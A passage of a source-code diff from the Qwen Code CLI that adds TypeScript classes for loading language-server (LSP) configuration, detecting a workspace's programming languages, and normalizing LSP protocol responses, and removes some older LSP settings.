Prefer using --experimental-lsp command line flag instead.', - showInDialog: false, - }, - allowed: { - type: 'array', - label: 'Allow LSP Servers', - category: 'LSP', - requiresRestart: true, - default: undefined as string[] | undefined, - description: - 'Optional allowlist of LSP server names. If set, only matching servers will start.', - showInDialog: false, - }, - excluded: { - type: 'array', - label: 'Exclude LSP Servers', - category: 'LSP', - requiresRestart: true, - default: undefined as string[] | undefined, - description: - 'Optional blocklist of LSP server names that should not start.', - showInDialog: false, - }, - languageServers: { - type: 'object', - label: 'LSP Language Servers', - category: 'LSP', - requiresRestart: true, - default: {} as Record, - description: - 'Inline LSP server configuration (same format as .lsp.json).', - showInDialog: false, - mergeStrategy: MergeStrategy.SHALLOW_MERGE, - }, - }, - }, useSmartEdit: { type: 'boolean', label: 'Use Smart Edit', diff --git a/packages/cli/src/gemini.tsx b/packages/cli/src/gemini.tsx index 8ab99413b..ea2dee43b 100644 --- a/packages/cli/src/gemini.tsx +++ b/packages/cli/src/gemini.tsx @@ -247,7 +247,6 @@ export async function main() { argv, undefined, [], - { startLsp: false }, ); if (!settings.merged.security?.auth?.useExternal) { diff --git a/packages/cli/src/services/lsp/LspConfigLoader.ts b/packages/cli/src/services/lsp/LspConfigLoader.ts new file mode 100644 index 000000000..89f56ee64 --- /dev/null +++ b/packages/cli/src/services/lsp/LspConfigLoader.ts @@ -0,0 +1,458 @@ +/** + * @license + * Copyright 2025 Qwen Team + * SPDX-License-Identifier: Apache-2.0 + */ + +import * as fs from 'node:fs'; +import * as path from 'path'; +import { pathToFileURL } from 'url'; +import type { + LspInitializationOptions, + LspServerConfig, + LspSocketOptions, +} from './LspTypes.js'; + +export class LspConfigLoader { + private warnedLegacyConfig = false; + + constructor(private readonly workspaceRoot: string) {} + + /** + * Load user .lsp.json configuration + */ + async loadUserConfigs(): Promise { + const configs: LspServerConfig[] = []; + const sources: Array<{ origin: string; data: unknown }> = []; + + const lspConfigPath = path.join(this.workspaceRoot, '.lsp.json'); + if (fs.existsSync(lspConfigPath)) { + try { + const configContent = fs.readFileSync(lspConfigPath, 'utf-8'); + sources.push({ + origin: lspConfigPath, + data: JSON.parse(configContent), + }); + } catch (error) { + console.warn('Failed to load user .lsp.json config:', error); + } + } + + for (const source of sources) { + const parsed = this.parseConfigSource(source.data, source.origin); + if (parsed.usedLegacyFormat && parsed.configs.length > 0) { + this.warnLegacyConfig(source.origin); + } + configs.push(...parsed.configs); + } + + return configs; + } + + /** + * Merge configs: built-in presets + user configs + compatibility layer + */ + mergeConfigs( + detectedLanguages: string[], + userConfigs: LspServerConfig[], + ): LspServerConfig[] { + // Built-in preset configurations + const presets = this.getBuiltInPresets(detectedLanguages); + + // Merge configs, user configs take priority + const mergedConfigs = [...presets]; + + for (const userConfig of userConfigs) { + // Find if there's a preset with the same name, if so replace it + const existingIndex = mergedConfigs.findIndex( + (c) => c.name === userConfig.name, + ); + if (existingIndex !== -1) { + mergedConfigs[existingIndex] = userConfig; + } else { + mergedConfigs.push(userConfig); + } + } + + return mergedConfigs; + } + + collectExtensionToLanguageOverrides( + configs: LspServerConfig[], + ): Record { + const overrides: Record = {}; + for (const config of configs) { + if (!config.extensionToLanguage) { + continue; + } + for (const [key, value] of Object.entries(config.extensionToLanguage)) { + if (typeof value !== 'string') { + continue; + } + const normalized = key.startsWith('.') ? key.slice(1) : key; + if (!normalized) { + continue; + } + overrides[normalized.toLowerCase()] = value; + } + } + return overrides; + } + + /** + * Get built-in preset configurations + */ + private getBuiltInPresets(detectedLanguages: string[]): LspServerConfig[] { + const presets: LspServerConfig[] = []; + + // Convert directory path to file URI format + const rootUri = pathToFileURL(this.workspaceRoot).toString(); + + // Generate corresponding LSP server config based on detected languages + if ( + detectedLanguages.includes('typescript') || + detectedLanguages.includes('javascript') + ) { + presets.push({ + name: 'typescript-language-server', + languages: [ + 'typescript', + 'javascript', + 'typescriptreact', + 'javascriptreact', + ], + command: 'typescript-language-server', + args: ['--stdio'], + transport: 'stdio', + initializationOptions: {}, + rootUri, + workspaceFolder: this.workspaceRoot, + trustRequired: true, + }); + } + + if (detectedLanguages.includes('python')) { + presets.push({ + name: 'pylsp', + languages: ['python'], + command: 'pylsp', + args: [], + transport: 'stdio', + initializationOptions: {}, + rootUri, + workspaceFolder: this.workspaceRoot, + trustRequired: true, + }); + } + + if (detectedLanguages.includes('go')) { + presets.push({ + name: 'gopls', + languages: ['go'], + command: 'gopls', + args: [], + transport: 'stdio', + initializationOptions: {}, + rootUri, + workspaceFolder: this.workspaceRoot, + trustRequired: true, + }); + } + + // Additional language presets can be added as needed + + return presets; + } + + private parseConfigSource( + source: unknown, + origin: string, + ): { configs: LspServerConfig[]; usedLegacyFormat: boolean } { + if (!this.isRecord(source)) { + return { configs: [], usedLegacyFormat: false }; + } + + const configs: LspServerConfig[] = []; + let serverMap: Record = source; + let usedLegacyFormat = false; + + if (this.isRecord(source['languageServers'])) { + serverMap = source['languageServers'] as Record; + } else if (this.isNewFormatServerMap(source)) { + serverMap = source; + } else { + usedLegacyFormat = true; + } + + for (const [key, spec] of Object.entries(serverMap)) { + if (!this.isRecord(spec)) { + continue; + } + + const languagesValue = spec['languages']; + const languages = usedLegacyFormat + ? [key] + : (this.normalizeStringArray(languagesValue) ?? + (typeof languagesValue === 'string' ? [languagesValue] : [])); + + const name = usedLegacyFormat + ? typeof spec['command'] === 'string' + ? (spec['command'] as string) + : key + : key; + + const config = this.buildServerConfig(name, languages, spec, origin); + if (config) { + configs.push(config); + } + } + + return { configs, usedLegacyFormat }; + } + + private buildServerConfig( + name: string, + languages: string[], + spec: Record, + origin: string, + ): LspServerConfig | null { + const transport = this.normalizeTransport(spec['transport']); + const command = + typeof spec['command'] === 'string' + ? (spec['command'] as string) + : undefined; + const args = this.normalizeStringArray(spec['args']) ?? []; + const env = this.normalizeEnv(spec['env']); + const initializationOptions = this.isRecord(spec['initializationOptions']) + ? (spec['initializationOptions'] as LspInitializationOptions) + : undefined; + const settings = this.isRecord(spec['settings']) + ? (spec['settings'] as Record) + : undefined; + const extensionToLanguage = this.normalizeExtensionToLanguage( + spec['extensionToLanguage'], + ); + const workspaceFolder = this.resolveWorkspaceFolder( + spec['workspaceFolder'], + ); + const rootUri = pathToFileURL(workspaceFolder).toString(); + const startupTimeout = this.normalizeTimeout(spec['startupTimeout']); + const shutdownTimeout = this.normalizeTimeout(spec['shutdownTimeout']); + const restartOnCrash = + typeof spec['restartOnCrash'] === 'boolean' + ? (spec['restartOnCrash'] as boolean) + : undefined; + const maxRestarts = this.normalizeMaxRestarts(spec['maxRestarts']); + const trustRequired = + typeof spec['trustRequired'] === 'boolean' + ? (spec['trustRequired'] as boolean) + : true; + const socket = this.normalizeSocketOptions(spec); + + if (transport === 'stdio' && !command) { + console.warn(`LSP config error in ${origin}: ${name} missing command`); + return null; + } + + if (transport !== 'stdio' && !socket) { + console.warn( + `LSP config error in ${origin}: ${name} missing socket info`, + ); + return null; + } + + return { + name, + languages, + command, + args, + transport, + env, + initializationOptions, + settings, + extensionToLanguage, + rootUri, + workspaceFolder, + startupTimeout, + shutdownTimeout, + restartOnCrash, + maxRestarts, + trustRequired, + socket, + }; + } + + private isNewFormatServerMap(value: Record): boolean { + return Object.values(value).some( + (entry) => this.isRecord(entry) && this.isNewFormatServerSpec(entry), + ); + } + + private isNewFormatServerSpec(value: Record): boolean { + return ( + Array.isArray(value['languages']) || + this.isRecord(value['extensionToLanguage']) || + this.isRecord(value['settings']) || + value['workspaceFolder'] !== undefined || + value['startupTimeout'] !== undefined || + value['shutdownTimeout'] !== undefined || + value['restartOnCrash'] !== undefined || + value['maxRestarts'] !== undefined || + this.isRecord(value['env']) || + value['socket'] !== undefined + ); + } + + private warnLegacyConfig(origin: string): void { + if (this.warnedLegacyConfig) { + return; + } + console.warn( + `Legacy LSP config detected in ${origin}. Please migrate to the languageServers format.`, + ); + this.warnedLegacyConfig = true; + } + + private isRecord(value: unknown): value is Record { + return typeof value === 'object' && value !== null && !Array.isArray(value); + } + + private normalizeStringArray(value: unknown): string[] | undefined { + if (!Array.isArray(value)) { + return undefined; + } + return value.filter((item): item is string => typeof item === 'string'); + } + + private normalizeEnv(value: unknown): Record | undefined { + if (!this.isRecord(value)) { + return undefined; + } + const env: Record = {}; + for (const [key, val] of Object.entries(value)) { + if ( + typeof val === 'string' || + typeof val === 'number' || + typeof val === 'boolean' + ) { + env[key] = String(val); + } + } + return Object.keys(env).length > 0 ? env : undefined; + } + + private normalizeExtensionToLanguage( + value: unknown, + ): Record | undefined { + if (!this.isRecord(value)) { + return undefined; + } + const mapping: Record = {}; + for (const [key, lang] of Object.entries(value)) { + if (typeof lang !== 'string') { + continue; + } + const normalized = key.startsWith('.') ? key.slice(1) : key; + if (!normalized) { + continue; + } + mapping[normalized.toLowerCase()] = lang; + } + return Object.keys(mapping).length > 0 ? mapping : undefined; + } + + private normalizeTransport(value: unknown): 'stdio' | 'tcp' | 'socket' { + if (typeof value !== 'string') { + return 'stdio'; + } + const normalized = value.toLowerCase(); + if (normalized === 'tcp' || normalized === 'socket') { + return normalized; + } + return 'stdio'; + } + + private normalizeTimeout(value: unknown): number | undefined { + if (typeof value !== 'number') { + return undefined; + } + if (!Number.isFinite(value) || value <= 0) { + return undefined; + } + return value; + } + + private normalizeMaxRestarts(value: unknown): number | undefined { + if (typeof value !== 'number') { + return undefined; + } + if (!Number.isFinite(value) || value < 0) { + return undefined; + } + return value; + } + + private normalizeSocketOptions( + value: Record, + ): LspSocketOptions | undefined { + const socketValue = value['socket']; + if (typeof socketValue === 'string') { + return { path: socketValue }; + } + + const source = this.isRecord(socketValue) ? socketValue : value; + const host = + typeof source['host'] === 'string' + ? (source['host'] as string) + : undefined; + const pathValue = + typeof source['path'] === 'string' + ? (source['path'] as string) + : typeof source['socketPath'] === 'string' + ? (source['socketPath'] as string) + : undefined; + const portValue = source['port']; + const port = + typeof portValue === 'number' + ? portValue + : typeof portValue === 'string' + ? Number(portValue) + : undefined; + + const socket: LspSocketOptions = {}; + if (host) { + socket.host = host; + } + if (Number.isFinite(port) && (port as number) > 0) { + socket.port = port as number; + } + if (pathValue) { + socket.path = pathValue; + } + + if (!socket.path && !socket.port) { + return undefined; + } + return socket; + } + + private resolveWorkspaceFolder(value: unknown): string { + if (typeof value !== 'string' || value.trim() === '') { + return this.workspaceRoot; + } + + const resolved = path.isAbsolute(value) + ? path.resolve(value) + : path.resolve(this.workspaceRoot, value); + const root = path.resolve(this.workspaceRoot); + + if (resolved === root || resolved.startsWith(root + path.sep)) { + return resolved; + } + + console.warn( + `LSP workspaceFolder must be within ${this.workspaceRoot}; using workspace root instead.`, + ); + return this.workspaceRoot; + } +} diff --git a/packages/cli/src/services/lsp/LspConnectionFactory.ts b/packages/cli/src/services/lsp/LspConnectionFactory.ts index 1a1acc059..84b23878d 100644 --- a/packages/cli/src/services/lsp/LspConnectionFactory.ts +++ b/packages/cli/src/services/lsp/LspConnectionFactory.ts @@ -1,5 +1,13 @@ +/** + * @license + * Copyright 2025 Qwen Team + * SPDX-License-Identifier: Apache-2.0 + */ + import * as cp from 'node:child_process'; import * as net from 'node:net'; +import { DEFAULT_LSP_REQUEST_TIMEOUT_MS } from './constants.js'; +import type { JsonRpcMessage } from './LspTypes.js'; interface PendingRequest { resolve: (value: unknown) => void; @@ -88,7 +96,7 @@ class JsonRpcConnection { const timer = setTimeout(() => { this.pendingRequests.delete(id); reject(new Error(`LSP request timeout: ${method}`)); - }, 15000); + }, DEFAULT_LSP_REQUEST_TIMEOUT_MS); this.pendingRequests.set(id, { resolve, reject, timer }); }); @@ -234,19 +242,6 @@ interface SocketConnectionOptions { path?: string; } -interface JsonRpcMessage { - jsonrpc: string; - id?: number | string; - method?: string; - params?: unknown; - result?: unknown; - error?: { - code: number; - message: string; - data?: unknown; - }; -} - export class LspConnectionFactory { /** * 创建基于 stdio 的 LSP 连接 diff --git a/packages/cli/src/services/lsp/LspLanguageDetector.ts b/packages/cli/src/services/lsp/LspLanguageDetector.ts new file mode 100644 index 000000000..694cf14f1 --- /dev/null +++ b/packages/cli/src/services/lsp/LspLanguageDetector.ts @@ -0,0 +1,222 @@ +/** + * LSP Language Detector + * + * Detects programming languages in a workspace by analyzing file extensions + * and root marker files (e.g., package.json, tsconfig.json). + */ + +import * as fs from 'node:fs'; +import * as path from 'path'; +import { globSync } from 'glob'; +import type { + WorkspaceContext, + FileDiscoveryService, +} from '@qwen-code/qwen-code-core'; + +/** + * Extension to language ID mapping + */ +const DEFAULT_EXTENSION_TO_LANGUAGE: Record = { + js: 'javascript', + ts: 'typescript', + jsx: 'javascriptreact', + tsx: 'typescriptreact', + py: 'python', + go: 'go', + rs: 'rust', + java: 'java', + cpp: 'cpp', + c: 'c', + php: 'php', + rb: 'ruby', + cs: 'csharp', + vue: 'vue', + svelte: 'svelte', + html: 'html', + css: 'css', + json: 'json', + yaml: 'yaml', + yml: 'yaml', +}; + +/** + * Root marker file to language ID mapping + */ +const MARKER_TO_LANGUAGE: Record = { + 'package.json': 'javascript', + 'tsconfig.json': 'typescript', + 'pyproject.toml': 'python', + 'go.mod': 'go', + 'Cargo.toml': 'rust', + 'pom.xml': 'java', + 'build.gradle': 'java', + 'composer.json': 'php', + Gemfile: 'ruby', + '*.sln': 'csharp', + 'mix.exs': 'elixir', + 'deno.json': 'deno', +}; + +/** + * Common root marker files to look for + */ +const COMMON_MARKERS = [ + 'package.json', + 'tsconfig.json', + 'pyproject.toml', + 'go.mod', + 'Cargo.toml', + 'pom.xml', + 'build.gradle', + 'composer.json', + 'Gemfile', + 'mix.exs', + 'deno.json', +]; + +/** + * Default exclude patterns for file search + */ +const DEFAULT_EXCLUDE_PATTERNS = [ + '**/node_modules/**', + '**/.git/**', + '**/dist/**', + '**/build/**', +]; + +/** + * Detects programming languages in a workspace. + */ +export class LspLanguageDetector { + constructor( + private readonly workspaceContext: WorkspaceContext, + private readonly fileDiscoveryService: FileDiscoveryService, + ) {} + + /** + * Detect programming languages in workspace by analyzing files and markers. + * Returns languages sorted by frequency (most common first). + * + * @param extensionOverrides - Custom extension to language mappings + * @returns Array of detected language IDs + */ + async detectLanguages( + extensionOverrides: Record = {}, + ): Promise { + const extensionMap = this.getExtensionToLanguageMap(extensionOverrides); + const extensions = Object.keys(extensionMap); + const patterns = + extensions.length > 0 ? [`**/*.{${extensions.join(',')}}`] : ['**/*']; + + const files = new Set(); + const searchRoots = this.workspaceContext.getDirectories(); + + for (const root of searchRoots) { + for (const pattern of patterns) { + try { + const matches = globSync(pattern, { + cwd: root, + ignore: DEFAULT_EXCLUDE_PATTERNS, + absolute: true, + nodir: true, + }); + + for (const match of matches) { + if (this.fileDiscoveryService.shouldIgnoreFile(match)) { + continue; + } + files.add(match); + } + } catch { + // Ignore glob errors for missing/invalid directories + } + } + } + + // Count files per language + const languageCounts = new Map(); + for (const file of Array.from(files)) { + const ext = path.extname(file).slice(1).toLowerCase(); + if (ext) { + const lang = this.mapExtensionToLanguage(ext, extensionMap); + if (lang) { + languageCounts.set(lang, (languageCounts.get(lang) || 0) + 1); + } + } + } + + // Also detect languages via root marker files + const rootMarkers = await this.detectRootMarkers(); + for (const marker of rootMarkers) { + const lang = this.mapMarkerToLanguage(marker); + if (lang) { + // Give higher weight to config files + const currentCount = languageCounts.get(lang) || 0; + languageCounts.set(lang, currentCount + 100); + } + } + + // Return languages sorted by count (descending) + return Array.from(languageCounts.entries()) + .sort((a, b) => b[1] - a[1]) + .map(([lang]) => lang); + } + + /** + * Detect root marker files in workspace directories + */ + private async detectRootMarkers(): Promise { + const markers = new Set(); + + for (const root of this.workspaceContext.getDirectories()) { + for (const marker of COMMON_MARKERS) { + try { + const fullPath = path.join(root, marker); + if (fs.existsSync(fullPath)) { + markers.add(marker); + } + } catch { + // ignore missing files + } + } + } + + return Array.from(markers); + } + + /** + * Map file extension to programming language ID + */ + private mapExtensionToLanguage( + ext: string, + extensionMap: Record, + ): string | null { + return extensionMap[ext] || null; + } + + /** + * Get extension to language mapping with overrides applied + */ + private getExtensionToLanguageMap( + extensionOverrides: Record = {}, + ): Record { + const extToLang = { ...DEFAULT_EXTENSION_TO_LANGUAGE }; + + for (const [key, value] of Object.entries(extensionOverrides)) { + const normalized = key.startsWith('.') ? key.slice(1) : key; + if (!normalized) { + continue; + } + extToLang[normalized.toLowerCase()] = value; + } + + return extToLang; + } + + /** + * Map root marker file to programming language ID + */ + private mapMarkerToLanguage(marker: string): string | null { + return MARKER_TO_LANGUAGE[marker] || null; + } +} diff --git a/packages/cli/src/services/lsp/LspResponseNormalizer.ts b/packages/cli/src/services/lsp/LspResponseNormalizer.ts new file mode 100644 index 000000000..ee789bc73 --- /dev/null +++ b/packages/cli/src/services/lsp/LspResponseNormalizer.ts @@ -0,0 +1,911 @@ +/** + * LSP Response Normalizer + * + * Converts raw LSP protocol responses to normalized internal types. + * Handles various response formats from different language servers. + */ + +import type { + LspCallHierarchyIncomingCall, + LspCallHierarchyItem, + LspCallHierarchyOutgoingCall, + LspCodeAction, + LspCodeActionKind, + LspDiagnostic, + LspDiagnosticSeverity, + LspFileDiagnostics, + LspHoverResult, + LspLocation, + LspRange, + LspReference, + LspSymbolInformation, + LspTextEdit, + LspWorkspaceEdit, +} from '@qwen-code/qwen-code-core'; +import { + CODE_ACTION_KIND_LABELS, + DIAGNOSTIC_SEVERITY_LABELS, + SYMBOL_KIND_LABELS, +} from './constants.js'; + +/** + * Normalizes LSP protocol responses to internal types. + */ +export class LspResponseNormalizer { + // ============================================================================ + // Diagnostic Normalization + // ============================================================================ + + /** + * Normalize diagnostic result from LSP response + */ + normalizeDiagnostic(item: unknown, serverName: string): LspDiagnostic | null { + if (!item || typeof item !== 'object') { + return null; + } + + const itemObj = item as Record; + const range = this.normalizeRange(itemObj['range']); + if (!range) { + return null; + } + + const message = + typeof itemObj['message'] === 'string' + ? (itemObj['message'] as string) + : ''; + if (!message) { + return null; + } + + const severityNum = + typeof itemObj['severity'] === 'number' + ? (itemObj['severity'] as number) + : undefined; + const severity = severityNum + ? DIAGNOSTIC_SEVERITY_LABELS[severityNum] + : undefined; + + const code = itemObj['code']; + const codeValue = + typeof code === 'string' || typeof code === 'number' ? code : undefined; + + const source = + typeof itemObj['source'] === 'string' + ? (itemObj['source'] as string) + : undefined; + + const tags = this.normalizeDiagnosticTags(itemObj['tags']); + const relatedInfo = this.normalizeDiagnosticRelatedInfo( + itemObj['relatedInformation'], + ); + + return { + range, + severity, + code: codeValue, + source, + message, + tags: tags.length > 0 ? tags : undefined, + relatedInformation: relatedInfo.length > 0 ? relatedInfo : undefined, + serverName, + }; + } + + /** + * Convert diagnostic back to LSP format for requests + */ + denormalizeDiagnostic(diagnostic: LspDiagnostic): Record { + const severityMap: Record = { + error: 1, + warning: 2, + information: 3, + hint: 4, + }; + + return { + range: diagnostic.range, + message: diagnostic.message, + severity: diagnostic.severity + ? severityMap[diagnostic.severity] + : undefined, + code: diagnostic.code, + source: diagnostic.source, + }; + } + + /** + * Normalize diagnostic tags + */ + normalizeDiagnosticTags(tags: unknown): Array<'unnecessary' | 'deprecated'> { + if (!Array.isArray(tags)) { + return []; + } + + const result: Array<'unnecessary' | 'deprecated'> = []; + for (const tag of tags) { + if (tag === 1) { + result.push('unnecessary'); + } else if (tag === 2) { + result.push('deprecated'); + } + } + return result; + } + + /** + * Normalize diagnostic related information + */ + normalizeDiagnosticRelatedInfo( + info: unknown, + ): Array<{ location: LspLocation; message: string }> { + if (!Array.isArray(info)) { + return []; + } + + const result: Array<{ location: LspLocation; message: string }> = []; + for (const item of info) { + if (!item || typeof item !== 'object') { + continue; + } + const itemObj = item as Record; + const location = itemObj['location']; + if (!location || typeof location !== 'object') { + continue; + } + const locObj = location as Record; + const uri = locObj['uri']; + const range = this.normalizeRange(locObj['range']); + const message = itemObj['message']; + + if (typeof uri === 'string' && range && typeof message === 'string') { + result.push({ + location: { uri, range }, + message, + }); + } + } + return result; + } + + /** + * Normalize file diagnostics result + */ + normalizeFileDiagnostics( + item: unknown, + serverName: string, + ): LspFileDiagnostics | null { + if (!item || typeof item !== 'object') { + return null; + } + + const itemObj = item as Record; + const uri = + typeof itemObj['uri'] === 'string' ? (itemObj['uri'] as string) : ''; + if (!uri) { + return null; + } + + const items = itemObj['items']; + if (!Array.isArray(items)) { + return null; + } + + const diagnostics: LspDiagnostic[] = []; + for (const diagItem of items) { + const normalized = this.normalizeDiagnostic(diagItem, serverName); + if (normalized) { + diagnostics.push(normalized); + } + } + + return { + uri, + diagnostics, + serverName, + }; + } + + // ============================================================================ + // Code Action Normalization + // ============================================================================ + + /** + * Normalize code action result + */ + normalizeCodeAction(item: unknown, serverName: string): LspCodeAction | null { + if (!item || typeof item !== 'object') { + return null; + } + + const itemObj = item as Record; + + // Check if this is a Command instead of CodeAction + if ( + itemObj['command'] && + typeof itemObj['title'] === 'string' && + !itemObj['kind'] + ) { + // This is a raw Command, wrap it + return { + title: itemObj['title'] as string, + command: { + title: itemObj['title'] as string, + command: (itemObj['command'] as string) ?? '', + arguments: itemObj['arguments'] as unknown[] | undefined, + }, + serverName, + }; + } + + const title = + typeof itemObj['title'] === 'string' ? (itemObj['title'] as string) : ''; + if (!title) { + return null; + } + + const kind = + typeof itemObj['kind'] === 'string' + ? (CODE_ACTION_KIND_LABELS[itemObj['kind'] as string] ?? + (itemObj['kind'] as LspCodeActionKind)) + : undefined; + + const isPreferred = + typeof itemObj['isPreferred'] === 'boolean' + ? (itemObj['isPreferred'] as boolean) + : undefined; + + const edit = this.normalizeWorkspaceEdit(itemObj['edit']); + const command = this.normalizeCommand(itemObj['command']); + + const diagnostics: LspDiagnostic[] = []; + if (Array.isArray(itemObj['diagnostics'])) { + for (const diag of itemObj['diagnostics']) { + const normalized = this.normalizeDiagnostic(diag, serverName); + if (normalized) { + diagnostics.push(normalized); + } + } + } + + return { + title, + kind, + diagnostics: diagnostics.length > 0 ? diagnostics : undefined, + isPreferred, + edit: edit ?? undefined, + command: command ?? undefined, + data: itemObj['data'], + serverName, + }; + } + + // ============================================================================ + // Workspace Edit Normalization + // ============================================================================ + + /** + * Normalize workspace edit + */ + normalizeWorkspaceEdit(edit: unknown): LspWorkspaceEdit | null { + if (!edit || typeof edit !== 'object') { + return null; + } + + const editObj = edit as Record; + const result: LspWorkspaceEdit = {}; + + // Handle changes (map of URI to TextEdit[]) + if (editObj['changes'] && typeof editObj['changes'] === 'object') { + const changes = editObj['changes'] as Record; + result.changes = {}; + for (const [uri, edits] of Object.entries(changes)) { + if (Array.isArray(edits)) { + const normalizedEdits: LspTextEdit[] = []; + for (const e of edits) { + const normalized = this.normalizeTextEdit(e); + if (normalized) { + normalizedEdits.push(normalized); + } + } + if (normalizedEdits.length > 0) { + result.changes[uri] = normalizedEdits; + } + } + } + } + + // Handle documentChanges + if (Array.isArray(editObj['documentChanges'])) { + result.documentChanges = []; + for (const docChange of editObj['documentChanges']) { + const normalized = this.normalizeTextDocumentEdit(docChange); + if (normalized) { + result.documentChanges.push(normalized); + } + } + } + + if ( + (!result.changes || Object.keys(result.changes).length === 0) && + (!result.documentChanges || result.documentChanges.length === 0) + ) { + return null; + } + + return result; + } + + /** + * Normalize text edit + */ + normalizeTextEdit(edit: unknown): LspTextEdit | null { + if (!edit || typeof edit !== 'object') { + return null; + } + + const editObj = edit as Record; + const range = this.normalizeRange(editObj['range']); + if (!range) { + return null; + } + + const newText = + typeof editObj['newText'] === 'string' + ? (editObj['newText'] as string) + : ''; + + return { range, newText }; + } + + /** + * Normalize text document edit + */ + normalizeTextDocumentEdit(docEdit: unknown): { + textDocument: { uri: string; version?: number | null }; + edits: LspTextEdit[]; + } | null { + if (!docEdit || typeof docEdit !== 'object') { + return null; + } + + const docEditObj = docEdit as Record; + const textDocument = docEditObj['textDocument']; + if (!textDocument || typeof textDocument !== 'object') { + return null; + } + + const textDocObj = textDocument as Record; + const uri = + typeof textDocObj['uri'] === 'string' + ? (textDocObj['uri'] as string) + : ''; + if (!uri) { + return null; + } + + const version = + typeof textDocObj['version'] === 'number' + ? (textDocObj['version'] as number) + : null; + + const edits = docEditObj['edits']; + if (!Array.isArray(edits)) { + return null; + } + + const normalizedEdits: LspTextEdit[] = []; + for (const e of edits) { + const normalized = this.normalizeTextEdit(e); + if (normalized) { + normalizedEdits.push(normalized); + } + } + + if (normalizedEdits.length === 0) { + return null; + } + + return { + textDocument: { uri, version }, + edits: normalizedEdits, + }; + } + + /** + * Normalize command + */ + normalizeCommand( + cmd: unknown, + ): { title: string; command: string; arguments?: unknown[] } | null { + if (!cmd || typeof cmd !== 'object') { + return null; + } + + const cmdObj = cmd as Record; + const title = + typeof cmdObj['title'] === 'string' ? (cmdObj['title'] as string) : ''; + const command = + typeof cmdObj['command'] === 'string' + ? (cmdObj['command'] as string) + : ''; + + if (!command) { + return null; + } + + const args = Array.isArray(cmdObj['arguments']) + ? (cmdObj['arguments'] as unknown[]) + : undefined; + + return { title, command, arguments: args }; + } + + // ============================================================================ + // Location and Symbol Normalization + // ============================================================================ + + /** + * Normalize location result (definitions, references, implementations) + */ + normalizeLocationResult( + item: unknown, + serverName: string, + ): LspReference | null { + if (!item || typeof item !== 'object') { + return null; + } + + const itemObj = item as Record; + const uri = (itemObj['uri'] ?? + itemObj['targetUri'] ?? + (itemObj['target'] as Record)?.['uri']) as + | string + | undefined; + + const range = (itemObj['range'] ?? + itemObj['targetSelectionRange'] ?? + itemObj['targetRange'] ?? + (itemObj['target'] as Record)?.['range']) as + | { start?: unknown; end?: unknown } + | undefined; + + if (!uri || !range?.start || !range?.end) { + return null; + } + + const start = range.start as { line?: number; character?: number }; + const end = range.end as { line?: number; character?: number }; + + return { + uri, + range: { + start: { + line: Number(start?.line ?? 0), + character: Number(start?.character ?? 0), + }, + end: { + line: Number(end?.line ?? 0), + character: Number(end?.character ?? 0), + }, + }, + serverName, + }; + } + + /** + * Normalize symbol result (workspace symbols, document symbols) + */ + normalizeSymbolResult( + item: unknown, + serverName: string, + ): LspSymbolInformation | null { + if (!item || typeof item !== 'object') { + return null; + } + + const itemObj = item as Record; + const location = itemObj['location'] ?? itemObj['target'] ?? item; + if (!location || typeof location !== 'object') { + return null; + } + + const locationObj = location as Record; + const range = (locationObj['range'] ?? + locationObj['targetRange'] ?? + itemObj['range'] ?? + undefined) as { start?: unknown; end?: unknown } | undefined; + + if (!locationObj['uri'] || !range?.start || !range?.end) { + return null; + } + + const start = range.start as { line?: number; character?: number }; + const end = range.end as { line?: number; character?: number }; + + return { + name: (itemObj['name'] ?? itemObj['label'] ?? 'symbol') as string, + kind: this.normalizeSymbolKind(itemObj['kind']), + containerName: (itemObj['containerName'] ?? itemObj['container']) as + | string + | undefined, + location: { + uri: locationObj['uri'] as string, + range: { + start: { + line: Number(start?.line ?? 0), + character: Number(start?.character ?? 0), + }, + end: { + line: Number(end?.line ?? 0), + character: Number(end?.character ?? 0), + }, + }, + }, + serverName, + }; + } + + // ============================================================================ + // Range Normalization + // ============================================================================ + + /** + * Normalize a single range + */ + normalizeRange(range: unknown): LspRange | null { + if (!range || typeof range !== 'object') { + return null; + } + + const rangeObj = range as Record; + const start = rangeObj['start']; + const end = rangeObj['end']; + + if ( + !start || + typeof start !== 'object' || + !end || + typeof end !== 'object' + ) { + return null; + } + + const startObj = start as Record; + const endObj = end as Record; + + return { + start: { + line: Number(startObj['line'] ?? 0), + character: Number(startObj['character'] ?? 0), + }, + end: { + line: Number(endObj['line'] ?? 0), + character: Number(endObj['character'] ?? 0), + }, + }; + } + + /** + * Normalize an array of ranges + */ + normalizeRanges(ranges: unknown): LspRange[] { + if (!Array.isArray(ranges)) { + return []; + } + + const results: LspRange[] = []; + for (const range of ranges) { + const normalized = this.normalizeRange(range); + if (normalized) { + results.push(normalized); + } + } + + return results; + } + + /** + * Normalize symbol kind from number to string label + */ + normalizeSymbolKind(kind: unknown): string | undefined { + if (typeof kind === 'number') { + return SYMBOL_KIND_LABELS[kind] ?? String(kind); + } + if (typeof kind === 'string') { + const trimmed = kind.trim(); + if (trimmed === '') { + return undefined; + } + const numeric = Number(trimmed); + if (Number.isFinite(numeric) && SYMBOL_KIND_LABELS[numeric]) { + return SYMBOL_KIND_LABELS[numeric]; + } + return trimmed; + } + return undefined; + } + + // ============================================================================ + // Hover Normalization + // ============================================================================ + + /** + * Normalize hover contents to string + */ + normalizeHoverContents(contents: unknown): string { + if (!contents) { + return ''; + } + if (typeof contents === 'string') { + return contents; + } + if (Array.isArray(contents)) { + const parts = contents + .map((item) => this.normalizeHoverContents(item)) + .map((item) => item.trim()) + .filter((item) => item.length > 0); + return parts.join('\n'); + } + if (typeof contents === 'object') { + const contentsObj = contents as Record; + const value = contentsObj['value']; + if (typeof value === 'string') { + const language = contentsObj['language']; + if (typeof language === 'string' && language.trim() !== '') { + return `\`\`\`${language}\n${value}\n\`\`\``; + } + return value; + } + } + return ''; + } + + /** + * Normalize hover result + */ + normalizeHoverResult( + response: unknown, + serverName: string, + ): LspHoverResult | null { + if (!response) { + return null; + } + if (typeof response !== 'object') { + const contents = this.normalizeHoverContents(response); + if (!contents.trim()) { + return null; + } + return { + contents, + serverName, + }; + } + + const responseObj = response as Record; + const contents = this.normalizeHoverContents(responseObj['contents']); + if (!contents.trim()) { + return null; + } + + const range = this.normalizeRange(responseObj['range']); + return { + contents, + range: range ?? undefined, + serverName, + }; + } + + // ============================================================================ + // Call Hierarchy Normalization + // ============================================================================ + + /** + * Normalize call hierarchy item + */ + normalizeCallHierarchyItem( + item: unknown, + serverName: string, + ): LspCallHierarchyItem | null { + if (!item || typeof item !== 'object') { + return null; + } + + const itemObj = item as Record; + const nameValue = itemObj['name'] ?? itemObj['label'] ?? 'symbol'; 